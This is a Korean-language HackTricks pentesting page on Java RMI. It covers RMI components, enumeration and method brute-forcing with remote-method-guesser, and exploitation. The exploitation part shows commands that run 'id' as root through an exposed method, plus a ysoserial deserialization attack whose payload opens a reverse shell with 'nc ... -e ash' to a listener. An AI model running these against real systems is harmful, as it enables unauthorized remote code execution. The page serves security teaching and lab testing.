# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
AWS 해킹을 처음부터 전문가까지 배우세요htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 기본 정보
_Java Remote Method Invocation_, 또는 _Java RMI_,는 객체 지향 _RPC_ 메커니즘으로, 한 _Java 가상 머신_에 위치한 객체가 다른 _Java 가상 머신_에 위치한 객체의 메서드를 호출할 수 있게 합니다. 이를 통해 개발자는 객체 지향 패러다임을 사용하여 분산 애플리케이션을 작성할 수 있습니다. _Java RMI_에 대한 공격적인 관점에서의 간단한 소개는 [이 블랙햇 토크](https://youtu.be/t\_aw1mDNhzI?t=202)에서 찾을 수 있습니다.
**기본 포트:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
일반적으로 일반 포트에는 기본 _Java RMI_ 구성 요소인 _RMI Registry_ 및 _Activation System_만이 바인딩됩니다. 실제 _RMI_ 애플리케이션을 구현하는 _원격 객체_는 일반적으로 위의 출력에서와 같이 무작위 포트에 바인딩됩니다.
_nmap_은 때때로 _SSL_ 보호된 _RMI_ 서비스를 식별하는 데 어려움을 겪을 수 있습니다. 일반 _RMI_ 포트에서 알 수 없는 ssl 서비스를 만나면 추가 조사해야 합니다.
## RMI 구성 요소
간단히 말하면, _Java RMI_는 개발자가 네트워크에서 _Java 객체_를 사용할 수 있게 합니다. 이는 클라이언트가 연결하고 해당 객체의 메서드를 호출할 수 있는 _TCP_ 포트를 엽니다. 이것이 간단해 보이지만, _Java RMI_가 해결해야 할 여러 가지 도전 과제가 있습니다:
1. _Java RMI_를 통해 메서드 호출을 보내려면 클라이언트가 IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스, 대상 객체의 `ObjID`를 알아야 합니다 (`ObjID`는 객체가 네트워크에서 사용 가능해질 때 생성되는 고유한 무작위 식별자입니다. _Java RMI_는 동일한 _TCP_ 포트에서 여러 객체가 수신할 수 있기 때문에 필요합니다).
2. 원격 클라이언트는 노출된 객체의 메서드를 호출하여 서버에 리소스를 할당할 수 있습니다. _Java 가상 머신_은 이러한 리소스 중 어떤 것이 아직 사용 중이고 어떤 것이 가비지 수집될 수 있는지 추적해야 합니다.
첫 번째 도전 과제는 기본적으로 _Java RMI_의 네이밍 서비스인 _RMI 레지스트리_에 의해 해결됩니다. _RMI 레지스트리_ 자체도 _RMI 서비스_이지만 구현된 인터페이스와 `ObjID`는 모든 _RMI_ 클라이언트에 의해 알려져 고정되어 있습니다. 이를 통해 _RMI_ 클라이언트는 해당 _TCP_ 포트를 알고 있으면 _RMI 레지스트리_를 사용할 수 있습니다.
개발자가 네트워크 내에서 자신의 _Java 객체_를 사용할 수 있게 하려면 일반적으로 _RMI 레지스트리_에 바인딩합니다. _레지스트리_는 객체에 연결할 때 필요한 모든 정보 (IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스, `ObjID` 값)를 저장하고 인간이 읽을 수 있는 이름인 _바운드 이름_ 아래에서 사용할 수 있게 합니다. _RMI 서비스_를 사용하려는 클라이언트는 _RMI 레지스트리_에 해당 _바운드 이름_을 요청하고 레지스트리는 연결에 필요한 모든 정보를 반환합니다. 따라서 상황은 기본적으로 일반 _DNS_ 서비스와 동일합니다. 다음 목록은 작은 예제를 보여줍니다:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
```
위에서 언급한 도전 과제 중 두 번째는 _분산 가비지 수집기_ (_DGC_)에 의해 해결됩니다. 이는 잘 알려진 `ObjID` 값이 있는 또 다른 _RMI 서비스_이며 기본적으로 각 _RMI 엔드포인트_에서 사용할 수 있습니다. _RMI 클라이언트_가 _RMI 서비스_를 사용하기 시작하면 해당 _원격 객체_가 사용 중임을 _DGC_에 정보를 보냅니다. _DGC_는 그런 다음 참조 카운트를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.
폐기된 _Activation System_과 함께, 이것들은 _Java RMI_의 세 가지 기본 구성 요소입니다:
1. _RMI 레지스트리_ (`ObjID = 0`)
2. _Activation System_ (`ObjID = 1`)
3. _분산 가비지 수집기_ (`ObjID = 2`)
_Java RMI_의 기본 구성 요소는 상당한 시간 동안 알려진 공격 벡터이며 오래된 _Java_ 버전에서 여러 취약점이 존재합니다. 공격자 관점에서 이러한 기본 구성 요소는 흥미로운데, 알려진 클래스/인터페이스가 구현되어 있고 상호 작용이 쉽기 때문입니다. 이 상황은 사용자 정의 _RMI 서비스_에 대해서는 다릅니다. _원격 객체_의 메서드를 호출하려면 미리 해당 메서드 시그니처를 알아야 합니다. 기존 메서드 시그니처를 알지 못하는 경우 _RMI 서비스_와 통신할 방법이 없습니다.
## RMI 열거
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)는 공통 _RMI 취약점_을 자동으로 식별할 수 있는 _Java RMI_ 취약점 스캐너입니다. _RMI_ 엔드포인트를 식별하면 시도해 보는 것이 좋습니다:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Enumeration 작업의 출력은 프로젝트의 [문서 페이지](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)에서 자세히 설명되어 있습니다. 결과에 따라 식별된 취약점을 확인해야 합니다.
_remote-method-guesser_에 의해 표시된 `ObjID` 값은 서비스의 가동 시간을 결정하는 데 사용할 수 있습니다. 이는 다른 취약점을 식별하는 데 도움이 될 수 있습니다:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## 원격 메소드 브루트포싱
열거 중 취약점이 식별되지 않았더라도 사용 가능한 _RMI_ 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, _RMI_ 통신이 _RMI_ 기본 구성 요소로 이루어질 때는 역직렬화 필터로 보호되지만, 사용자 정의 _RMI_ 서비스와 통신할 때는 이러한 필터가 일반적으로 적용되지 않습니다. _RMI_ 서비스에서 유효한 메소드 시그니처를 알고 있는 것은 가치가 있습니다.
불행히도, _Java RMI_는 _원격 객체_에서 메소드를 열거하는 것을 지원하지 않습니다. 그렇지만 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)나 [rmiscout](https://github.com/BishopFox/rmiscout)와 같은 도구를 사용하여 메소드 시그니처를 브루트포싱할 수 있습니다:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
식별된 메서드는 다음과 같이 호출할 수 있습니다:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
또는 다음과 같이 직렬화 공격을 수행할 수 있습니다:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
다음 기사에서 자세한 정보를 찾을 수 있습니다:
* [JEP 290 이후의 Java RMI 서비스 공격](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
* [메소드 추측](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
추측 외에도 _RMI_ 서비스를 만난 후에는 검색 엔진이나 _GitHub_에서 인터페이스나 심지어 구현을 찾아보아야 합니다. _바인딩 이름_과 구현된 클래스 또는 인터페이스의 이름이 여기서 도움이 될 수 있습니다.
## 알려진 인터페이스
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)는 도구의 내부 데이터베이스에 있는 알려진 _RMI 서비스_ 목록에 나열된 클래스나 인터페이스를 `알려진`으로 표시합니다. 이러한 경우에는 해당 _RMI 서비스_에 대한 자세한 정보를 얻기 위해 `알려진` 동작을 사용할 수 있습니다:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
```
## Shodan
* `포트:1099 자바`
## 도구
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://github.com/BishopFox/rmiscout)
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## 참고 자료
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks 자동 명령어
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.